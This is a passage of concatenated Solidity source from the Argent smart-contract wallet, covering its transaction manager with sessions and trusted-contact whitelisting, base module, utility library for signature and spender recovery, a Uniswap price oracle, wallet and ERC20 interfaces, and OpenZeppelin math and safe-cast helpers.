* @param _guardian The address to check.
* @return _isGuardian `true` if the address is a guardian for the wallet otherwise `false`.
*/
function isGuardian(address _wallet, address _guardian) public view returns (bool _isGuardian) {
return guardianStorage.isGuardian(_wallet, _guardian);
}
/**
* @notice Checks if an address is a guardian or an account authorised to sign on behalf of a smart-contract guardian.
* @param _wallet The target wallet.
* @param _guardian the address to test
* @return _isGuardian `true` if the address is a guardian for the wallet otherwise `false`.
*/
function isGuardianOrGuardianSigner(address _wallet, address _guardian) external view returns (bool _isGuardian) {
(_isGuardian, ) = Utils.isGuardianOrGuardianSigner(guardianStorage.getGuardians(_wallet), _guardian);
}
/**
* @notice Counts the number of active guardians for a wallet.
* @param _wallet The target wallet.
* @return _count The number of active guardians for a wallet.
*/
function guardianCount(address _wallet) external view returns (uint256 _count) {
return guardianStorage.guardianCount(_wallet);
}
/**
* @notice Get the active guardians for a wallet.
* @param _wallet The target wallet.
* @return _guardians the active guardians for a wallet.
*/
function getGuardians(address _wallet) external view returns (address[] memory _guardians) {
return guardianStorage.getGuardians(_wallet);
}
// *************** Internal Functions ********************* //
function validateNewOwner(address _wallet, address _newOwner) internal view {
require(_newOwner != address(0), "SM: new owner cannot be null");
require(!isGuardian(_wallet, _newOwner), "SM: new owner cannot be guardian");
}
function _setLock(address _wallet, uint256 _releaseAfter, bytes4 _locker) internal {
locks[_wallet] = Lock(SafeCast.toUint64(_releaseAfter), _locker);
}
}
// Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.3;
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "./common/Utils.sol";
import "./common/BaseModule.sol";
import "../../lib_0.5/other/ERC20.sol";
/**
* @title TransactionManager
* @notice Module to execute transactions in sequence to e.g. transfer tokens (ETH, ERC20, ERC721, ERC1155) or call third-party contracts.
* @author Julien Niset - <[email protected]>
*/
abstract contract TransactionManager is BaseModule {
// Static calls
bytes4 private constant ERC1271_IS_VALID_SIGNATURE = bytes4(keccak256("isValidSignature(bytes32,bytes)"));
bytes4 private constant ERC721_RECEIVED = bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
bytes4 private constant ERC1155_RECEIVED = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
bytes4 private constant ERC1155_BATCH_RECEIVED = bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"));
bytes4 private constant ERC165_INTERFACE = bytes4(keccak256("supportsInterface(bytes4)"));
struct Call {
address to;
uint256 value;
bytes data;
}
// The time delay for adding a trusted contact
uint256 internal immutable whitelistPeriod;
// *************** Events *************************** //
event AddedToWhitelist(address indexed wallet, address indexed target, uint64 whitelistAfter);
event RemovedFromWhitelist(address indexed wallet, address indexed target);
event SessionCreated(address indexed wallet, address sessionKey, uint64 expires);
event SessionCleared(address indexed wallet, address sessionKey);
// *************** Constructor ************************ //
constructor(uint256 _whitelistPeriod) {
whitelistPeriod = _whitelistPeriod;
}
// *************** External functions ************************ //
/**
* @notice Makes the target wallet execute a sequence of transactions authorised by the wallet owner.
* The method reverts if any of the inner transactions reverts.
* The method reverts if any of the inner transaction is not to a trusted contact or an authorised dapp.
* @param _wallet The target wallet.
* @param _transactions The sequence of transactions.
*/
function multiCall(
address _wallet,
Call[] calldata _transactions
)
external
onlySelf()
onlyWhenUnlocked(_wallet)
returns (bytes[] memory)
{
bytes[] memory results = new bytes[](_transactions.length);
for(uint i = 0; i < _transactions.length; i++) {
address spender = Utils.recoverSpender(_transactions[i].to, _transactions[i].data);
require(
(_transactions[i].value == 0 || spender == _transactions[i].to) &&
(isWhitelisted(_wallet, spender) || authoriser.isAuthorised(_wallet, spender, _transactions[i].to, _transactions[i].data)),
"TM: call not authorised");
results[i] = invokeWallet(_wallet, _transactions[i].to, _transactions[i].value, _transactions[i].data);
}
return results;
}
/**
* @notice Makes the target wallet execute a sequence of transactions authorised by a session key.
* The method reverts if any of the inner transactions reverts.
* @param _wallet The target wallet.
* @param _transactions The sequence of transactions.
*/
function multiCallWithSession(
address _wallet,
Call[] calldata _transactions
)
external
onlySelf()
onlyWhenUnlocked(_wallet)
returns (bytes[] memory)
{
return multiCallWithApproval(_wallet, _transactions);
}
/**
* @notice Makes the target wallet execute a sequence of transactions approved by a majority of guardians.
* The method reverts if any of the inner transactions reverts.
* @param _wallet The target wallet.
* @param _transactions The sequence of transactions.
*/
function multiCallWithGuardians(
address _wallet,
Call[] calldata _transactions
)
external
onlySelf()
onlyWhenUnlocked(_wallet)
returns (bytes[] memory)
{
return multiCallWithApproval(_wallet, _transactions);
}
/**
* @notice Makes the target wallet execute a sequence of transactions approved by a majority of guardians.
* The method reverts if any of the inner transactions reverts.
* Upon success a new session is started.
* @param _wallet The target wallet.
* @param _transactions The sequence of transactions.
*/
function multiCallWithGuardiansAndStartSession(
address _wallet,
Call[] calldata _transactions,
address _sessionUser,
uint64 _duration
)
external
onlySelf()
onlyWhenUnlocked(_wallet)
returns (bytes[] memory)
{
startSession(_wallet, _sessionUser, _duration);
return multiCallWithApproval(_wallet, _transactions);
}
/**
* @notice Clears the active session of a wallet if any.
* @param _wallet The target wallet.
*/
function clearSession(address _wallet) external onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) {
emit SessionCleared(_wallet, sessions[_wallet].key);
_clearSession(_wallet);
}
/**
* @notice Adds an address to the list of trusted contacts.
* @param _wallet The target wallet.
* @param _target The address to add.
*/
function addToWhitelist(address _wallet, address _target) external onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) {
require(_target != _wallet, "TM: Cannot whitelist wallet");
require(!registry.isRegisteredModule(_target), "TM: Cannot whitelist module");
require(!isWhitelisted(_wallet, _target), "TM: target already whitelisted");
uint256 whitelistAfter = block.timestamp + whitelistPeriod;
setWhitelist(_wallet, _target, whitelistAfter);
emit AddedToWhitelist(_wallet, _target, uint64(whitelistAfter));
}
/**
* @notice Removes an address from the list of trusted contacts.
* @param _wallet The target wallet.
* @param _target The address to remove.
*/
function removeFromWhitelist(address _wallet, address _target) external onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) {
setWhitelist(_wallet, _target, 0);
emit RemovedFromWhitelist(_wallet, _target);
}
/**
* @notice Checks if an address is a trusted contact for a wallet.
* @param _wallet The target wallet.
* @param _target The address.
* @return _isWhitelisted true if the address is a trusted contact.
*/
function isWhitelisted(address _wallet, address _target) public view returns (bool _isWhitelisted) {
uint whitelistAfter = userWhitelist.getWhitelist(_wallet, _target);
return whitelistAfter > 0 && whitelistAfter < block.timestamp;
}
/*
* @notice Enable the static calls required to make the wallet compatible with the ERC1155TokenReceiver
* interface (see https://eips.ethereum.org/EIPS/eip-1155#erc-1155-token-receiver). This method only
* needs to be called for wallets deployed in version lower or equal to 2.4.0 as the ERC1155 static calls
* are not available by default for these versions of BaseWallet
* @param _wallet The target wallet.
*/
function enableERC1155TokenReceiver(address _wallet) external onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) {
IWallet(_wallet).enableStaticCall(address(this), ERC165_INTERFACE);
IWallet(_wallet).enableStaticCall(address(this), ERC1155_RECEIVED);
IWallet(_wallet).enableStaticCall(address(this), ERC1155_BATCH_RECEIVED);
}
/**
* @inheritdoc IModule
*/
function supportsStaticCall(bytes4 _methodId) external pure override returns (bool _isSupported) {
return _methodId == ERC1271_IS_VALID_SIGNATURE ||
_methodId == ERC721_RECEIVED ||
_methodId == ERC165_INTERFACE ||
_methodId == ERC1155_RECEIVED ||
_methodId == ERC1155_BATCH_RECEIVED;
}
/** ******************* Callbacks ************************** */
/**
* @notice Returns true if this contract implements the interface defined by
* `interfaceId` (see https://eips.ethereum.org/EIPS/eip-165).
*/
function supportsInterface(bytes4 _interfaceID) external pure returns (bool) {
return _interfaceID == ERC165_INTERFACE || _interfaceID == (ERC1155_RECEIVED ^ ERC1155_BATCH_RECEIVED);
}
/**
* @notice Implementation of EIP 1271.
* Should return whether the signature provided is valid for the provided data.
* @param _msgHash Hash of a message signed on the behalf of address(this)
* @param _signature Signature byte array associated with _msgHash
*/
function isValidSignature(bytes32 _msgHash, bytes memory _signature) external view returns (bytes4) {
require(_signature.length == 65, "TM: invalid signature length");
address signer = Utils.recoverSigner(_msgHash, _signature, 0);
require(_isOwner(msg.sender, signer), "TM: Invalid signer");
return ERC1271_IS_VALID_SIGNATURE;
}
fallback() external {
bytes4 methodId = Utils.functionPrefix(msg.data);
if(methodId == ERC721_RECEIVED || methodId == ERC1155_RECEIVED || methodId == ERC1155_BATCH_RECEIVED) {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, 0x04)
return (0, 0x20)
}
}
}
// *************** Internal Functions ********************* //
function enableDefaultStaticCalls(address _wallet) internal {
// setup the static calls that are available for free for all wallets
IWallet(_wallet).enableStaticCall(address(this), ERC1271_IS_VALID_SIGNATURE);
IWallet(_wallet).enableStaticCall(address(this), ERC721_RECEIVED);
}
function multiCallWithApproval(address _wallet, Call[] calldata _transactions) internal returns (bytes[] memory) {
bytes[] memory results = new bytes[](_transactions.length);
for(uint i = 0; i < _transactions.length; i++) {
results[i] = invokeWallet(_wallet, _transactions[i].to, _transactions[i].value, _transactions[i].data);
}
return results;
}
function startSession(address _wallet, address _sessionUser, uint64 _duration) internal {
require(_sessionUser != address(0), "TM: Invalid session user");
require(_duration > 0, "TM: Invalid session duration");
uint64 expiry = SafeCast.toUint64(block.timestamp + _duration);
sessions[_wallet] = Session(_sessionUser, expiry);
emit SessionCreated(_wallet, _sessionUser, expiry);
}
function setWhitelist(address _wallet, address _target, uint256 _whitelistAfter) internal {
userWhitelist.setWhitelist(_wallet, _target, _whitelistAfter);
}
}
// Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.3;
import "../../wallet/IWallet.sol";
import "../../infrastructure/IModuleRegistry.sol";
import "../../infrastructure/storage/IGuardianStorage.sol";
import "../../infrastructure/IAuthoriser.sol";
import "../../infrastructure/storage/ITransferStorage.sol";
import "./IModule.sol";
import "../../../lib_0.5/other/ERC20.sol";
/**
* @title BaseModule
* @notice Base Module contract that contains methods common to all Modules.
* @author Julien Niset - <[email protected]>, Olivier VDB - <[email protected]>
*/
abstract contract BaseModule is IModule {
// Empty calldata
bytes constant internal EMPTY_BYTES = "";
// Mock token address for ETH
address constant internal ETH_TOKEN = address(0);
// The module registry
IModuleRegistry internal immutable registry;
// The guardians storage
IGuardianStorage internal immutable guardianStorage;
// The trusted contacts storage
ITransferStorage internal immutable userWhitelist;
// The authoriser
IAuthoriser internal immutable authoriser;
event ModuleCreated(bytes32 name);
enum OwnerSignature {
Anyone, // Anyone
Required, // Owner required
Optional, // Owner and/or guardians
Disallowed, // Guardians only
Session // Session only
}
struct Session {
address key;
uint64 expires;
}
// Maps wallet to session
mapping (address => Session) internal sessions;
struct Lock {
// the lock's release timestamp
uint64 release;
// the signature of the method that set the last lock
bytes4 locker;
}
// Wallet specific lock storage
mapping (address => Lock) internal locks;
/**
* @notice Throws if the wallet is not locked.
*/
modifier onlyWhenLocked(address _wallet) {
require(_isLocked(_wallet), "BM: wallet must be locked");
_;
}
/**
* @notice Throws if the wallet is locked.
*/
modifier onlyWhenUnlocked(address _wallet) {
require(!_isLocked(_wallet), "BM: wallet locked");
_;
}
/**
* @notice Throws if the sender is not the module itself.
*/
modifier onlySelf() {
require(_isSelf(msg.sender), "BM: must be module");
_;
}
/**
* @notice Throws if the sender is not the module itself or the owner of the target wallet.
*/
modifier onlyWalletOwnerOrSelf(address _wallet) {
require(_isSelf(msg.sender) || _isOwner(_wallet, msg.sender), "BM: must be wallet owner/self");
_;
}
/**
* @dev Throws if the sender is not the target wallet of the call.
*/
modifier onlyWallet(address _wallet) {
require(msg.sender == _wallet, "BM: caller must be wallet");
_;
}
constructor(
IModuleRegistry _registry,
IGuardianStorage _guardianStorage,
ITransferStorage _userWhitelist,
IAuthoriser _authoriser,
bytes32 _name
) {
registry = _registry;
guardianStorage = _guardianStorage;
userWhitelist = _userWhitelist;
authoriser = _authoriser;
emit ModuleCreated(_name);
}
/**
* @notice Moves tokens that have been sent to the module by mistake.
* @param _token The target token.
*/
function recoverToken(address _token) external {
uint total = ERC20(_token).balanceOf(address(this));
ERC20(_token).transfer(address(registry), total);
}
function _clearSession(address _wallet) internal {
delete sessions[_wallet];
}
/**
* @notice Helper method to check if an address is the owner of a target wallet.
* @param _wallet The target wallet.
* @param _addr The address.
*/
function _isOwner(address _wallet, address _addr) internal view returns (bool) {
return IWallet(_wallet).owner() == _addr;
}
/**
* @notice Helper method to check if a wallet is locked.
* @param _wallet The target wallet.
*/
function _isLocked(address _wallet) internal view returns (bool) {
return locks[_wallet].release > uint64(block.timestamp);
}
/**
* @notice Helper method to check if an address is the module itself.
* @param _addr The target address.
*/
function _isSelf(address _addr) internal view returns (bool) {
return _addr == address(this);
}
/**
* @notice Helper method to invoke a wallet.
* @param _wallet The target wallet.
* @param _to The target address for the transaction.
* @param _value The value of the transaction.
* @param _data The data of the transaction.
*/
function invokeWallet(address _wallet, address _to, uint256 _value, bytes memory _data) internal returns (bytes memory _res) {
bool success;
(success, _res) = _wallet.call(abi.encodeWithSignature("invoke(address,uint256,bytes)", _to, _value, _data));
if (success && _res.length > 0) { //_res is empty if _wallet is an "old" BaseWallet that can't return output values
(_res) = abi.decode(_res, (bytes));
} else if (_res.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
} else if (!success) {
revert("BM: wallet invoke reverted");
}
}
}
// Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.3;
/**
* @title IModule
* @notice Interface for a Module.
* @author Julien Niset - <[email protected]>, Olivier VDB - <[email protected]>
*/
interface IModule {
/**
* @notice Adds a module to a wallet. Cannot execute when wallet is locked (or under recovery)
* @param _wallet The target wallet.
* @param _module The modules to authorise.
*/
function addModule(address _wallet, address _module) external;
/**
* @notice Inits a Module for a wallet by e.g. setting some wallet specific parameters in storage.
* @param _wallet The wallet.
*/
function init(address _wallet) external;
/**
* @notice Returns whether the module implements a callback for a given static call method.
* @param _methodId The method id.
*/
function supportsStaticCall(bytes4 _methodId) external view returns (bool _isSupported);
}
// Copyright (C) 2021 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.3;
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
contract SimpleOracle {
address internal immutable weth;
address internal immutable uniswapV2Factory;
constructor(address _uniswapRouter) {
weth = IUniswapV2Router01(_uniswapRouter).WETH();
uniswapV2Factory = IUniswapV2Router01(_uniswapRouter).factory();
}
function inToken(address _token, uint256 _ethAmount) internal view returns (uint256) {
(uint256 wethReserve, uint256 tokenReserve) = getReservesForTokenPool(_token);
return _ethAmount * tokenReserve / wethReserve;
}
function getReservesForTokenPool(address _token) internal view returns (uint256 wethReserve, uint256 tokenReserve) {
if (weth < _token) {
address pair = getPairForSorted(weth, _token);
(wethReserve, tokenReserve,) = IUniswapV2Pair(pair).getReserves();
} else {
address pair = getPairForSorted(_token, weth);
(tokenReserve, wethReserve,) = IUniswapV2Pair(pair).getReserves();
}
require(wethReserve != 0 && tokenReserve != 0, "SO: no liquidity");
}
function getPairForSorted(address tokenA, address tokenB) internal virtual view returns (address pair) {
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
uniswapV2Factory,
keccak256(abi.encodePacked(tokenA, tokenB)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
)))));
}
}
// Copyright (C) 2020 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.3;
/**
* @title Utils
* @notice Common utility methods used by modules.
*/
library Utils {
// ERC20, ERC721 & ERC1155 transfers & approvals
bytes4 private constant ERC20_TRANSFER = bytes4(keccak256("transfer(address,uint256)"));
bytes4 private constant ERC20_APPROVE = bytes4(keccak256("approve(address,uint256)"));
bytes4 private constant ERC721_SET_APPROVAL_FOR_ALL = bytes4(keccak256("setApprovalForAll(address,bool)"));
bytes4 private constant ERC721_TRANSFER_FROM = bytes4(keccak256("transferFrom(address,address,uint256)"));
bytes4 private constant ERC721_SAFE_TRANSFER_FROM = bytes4(keccak256("safeTransferFrom(address,address,uint256)"));
bytes4 private constant ERC721_SAFE_TRANSFER_FROM_BYTES = bytes4(keccak256("safeTransferFrom(address,address,uint256,bytes)"));
bytes4 private constant ERC1155_SAFE_TRANSFER_FROM = bytes4(keccak256("safeTransferFrom(address,address,uint256,uint256,bytes)"));
bytes4 private constant OWNER_SIG = 0x8da5cb5b;
/**
* @notice Helper method to recover the signer at a given position from a list of concatenated signatures.
* @param _signedHash The signed hash
* @param _signatures The concatenated signatures.
* @param _index The index of the signature to recover.
*/
function recoverSigner(bytes32 _signedHash, bytes memory _signatures, uint _index) internal pure returns (address) {
uint8 v;
bytes32 r;
bytes32 s;
// we jump 32 (0x20) as the first slot of bytes contains the length
// we jump 65 (0x41) per signature
// for v we load 32 bytes ending with v (the first 31 come from s) then apply a mask
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(_signatures, add(0x20,mul(0x41,_index))))
s := mload(add(_signatures, add(0x40,mul(0x41,_index))))
v := and(mload(add(_signatures, add(0x41,mul(0x41,_index)))), 0xff)
}
require(v == 27 || v == 28, "Utils: bad v value in signature");
address recoveredAddress = ecrecover(_signedHash, v, r, s);
require(recoveredAddress != address(0), "Utils: ecrecover returned 0");
return recoveredAddress;
}
/**
* @notice Helper method to recover the spender from a contract call.
* The method returns the contract unless the call is to a standard method of a ERC20/ERC721/ERC1155 token
* in which case the spender is recovered from the data.
* @param _to The target contract.
* @param _data The data payload.
*/
function recoverSpender(address _to, bytes memory _data) internal pure returns (address spender) {
if(_data.length >= 68) {
bytes4 methodId;
// solhint-disable-next-line no-inline-assembly
assembly {
methodId := mload(add(_data, 0x20))
}
if(
methodId == ERC20_TRANSFER ||
methodId == ERC20_APPROVE ||
methodId == ERC721_SET_APPROVAL_FOR_ALL)
{
// solhint-disable-next-line no-inline-assembly
assembly {
spender := mload(add(_data, 0x24))
}
return spender;
}
if(
methodId == ERC721_TRANSFER_FROM ||
methodId == ERC721_SAFE_TRANSFER_FROM ||
methodId == ERC721_SAFE_TRANSFER_FROM_BYTES ||
methodId == ERC1155_SAFE_TRANSFER_FROM)
{
// solhint-disable-next-line no-inline-assembly
assembly {
spender := mload(add(_data, 0x44))
}
return spender;
}
}
spender = _to;
}
/**
* @notice Helper method to parse data and extract the method signature.
*/
function functionPrefix(bytes memory _data) internal pure returns (bytes4 prefix) {
require(_data.length >= 4, "Utils: Invalid functionPrefix");
// solhint-disable-next-line no-inline-assembly
assembly {
prefix := mload(add(_data, 0x20))
}
}
/**
* @notice Checks if an address is a contract.
* @param _addr The address.
*/
function isContract(address _addr) internal view returns (bool) {
uint32 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
/**
* @notice Checks if an address is a guardian or an account authorised to sign on behalf of a smart-contract guardian
* given a list of guardians.
* @param _guardians the list of guardians
* @param _guardian the address to test
* @return true and the list of guardians minus the found guardian upon success, false and the original list of guardians if not found.
*/
function isGuardianOrGuardianSigner(address[] memory _guardians, address _guardian) internal view returns (bool, address[] memory) {
if (_guardians.length == 0 || _guardian == address(0)) {
return (false, _guardians);
}
bool isFound = false;
address[] memory updatedGuardians = new address[](_guardians.length - 1);
uint256 index = 0;
for (uint256 i = 0; i < _guardians.length; i++) {
if (!isFound) {
// check if _guardian is an account guardian
if (_guardian == _guardians[i]) {
isFound = true;
continue;
}
// check if _guardian is the owner of a smart contract guardian
if (isContract(_guardians[i]) && isGuardianOwner(_guardians[i], _guardian)) {
isFound = true;
continue;
}
}
if (index < updatedGuardians.length) {
updatedGuardians[index] = _guardians[i];
index++;
}
}
return isFound ? (true, updatedGuardians) : (false, _guardians);
}
/**
* @notice Checks if an address is the owner of a guardian contract.
* The method does not revert if the call to the owner() method consumes more then 25000 gas.
* @param _guardian The guardian contract
* @param _owner The owner to verify.
*/
function isGuardianOwner(address _guardian, address _owner) internal view returns (bool) {
address owner = address(0);
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr,OWNER_SIG)
let result := staticcall(25000, _guardian, ptr, 0x20, ptr, 0x20)
if eq(result, 1) {
owner := mload(ptr)
}
}
return owner == _owner;
}
/**
* @notice Returns ceil(a / b).
*/
function ceil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
if (a % b == 0) {
return c;
} else {
return c + 1;
}
}
}
// Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.5.4 <0.9.0;
/**
* @title IWallet
* @notice Interface for the BaseWallet
*/
interface IWallet {
/**
* @notice Returns the wallet owner.
* @return The wallet owner address.
*/
function owner() external view returns (address);
/**
* @notice Returns the number of authorised modules.
* @return The number of authorised modules.
*/
function modules() external view returns (uint);
/**
* @notice Sets a new owner for the wallet.
* @param _newOwner The new owner.
*/
function setOwner(address _newOwner) external;
/**
* @notice Checks if a module is authorised on the wallet.
* @param _module The module address to check.
* @return `true` if the module is authorised, otherwise `false`.
*/
function authorised(address _module) external view returns (bool);
/**
* @notice Returns the module responsible for a static call redirection.
* @param _sig The signature of the static call.
* @return the module doing the redirection
*/
function enabled(bytes4 _sig) external view returns (address);
/**
* @notice Enables/Disables a module.
* @param _module The target module.
* @param _value Set to `true` to authorise the module.
*/
function authoriseModule(address _module, bool _value) external;
/**
* @notice Enables a static method by specifying the target module to which the call must be delegated.
* @param _module The target module.
* @param _method The static method signature.
*/
function enableStaticCall(address _module, bytes4 _method) external;
}
pragma solidity >=0.5.4 <0.9.0;
/**
* ERC20 contract interface.
*/
interface ERC20 {
function totalSupply() external view returns (uint);
function decimals() external view returns (uint);
function balanceOf(address tokenOwner) external view returns (uint balance);
function allowance(address tokenOwner, address spender) external view returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
